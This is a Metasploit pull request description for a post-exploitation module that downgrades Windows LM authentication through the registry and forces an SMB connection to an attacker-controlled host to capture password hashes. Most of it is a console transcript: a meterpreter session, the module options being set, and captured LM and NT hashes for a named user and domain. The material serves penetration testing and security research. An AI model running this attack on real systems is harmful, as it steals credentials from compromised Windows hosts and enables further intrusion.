rapid7/metasploit-framework — pull request #1109 by zeknox (2012-11-29 04:06:07+00:00)
Title: added post exploit module netlm_downgrade.rb

This post exploit module will modify the registry to enable LM challenges. This will allow LM challenges to be sent when an SMB connection is initiated. The module will then initiate an SMB connection to the IPC$ share of the defined SMBHOST datastore.

A preview of the module can be seen below:

msf post(netlm_downgrade) > ifconfig eth0 | grep "inet addr"
[*] exec: ifconfig eth0 | grep "inet addr"

inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0
msf post(netlm_downgrade) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 HOSTNAME\Accuvant @ MATRIX 192.168.1.101:443 -> 192.168.1.202:1075 (192.168.1.202)

msf post(netlm_downgrade) > show options

Module options (post/windows/manage/netlm_downgrade):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SMBHOST yes IP Address where SMB host is listening to capture hashes.

msf post(netlm_downgrade) > set session 1
session => 1
msf post(netlm_downgrade) > set SMBHOST 192.168.1.101
SMBHOST => 192.168.1.101
msf post(netlm_downgrade) > run

[*] NetLM is Disabled: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 2
[+] NetLM is Enabled: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 0
[*] Establishing SMB connection to 192.168.1.101
[*] SMB Captured - 2012-11-28 21:35:50 -0600
NTLMv1 Response Captured from 192.168.1.202:1076 - 192.168.1.202
USER:Accuvant DOMAIN:MATRIX OS:Windows Server 2003 3790 Service Pack 2 LM:
LMHASH:d012529369a7033eca0e9fd69a24d7e0c4d6f0bca5a75372
NTHASH:beae9fddc1f736c120c1d1859feead5a3a7812c8e7b68c30

[*] The SMBHOST should now have NetLM hashes
[*] Cleanup Completed: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 2
[*] Post module execution completed
msf post(netlm_downgrade) >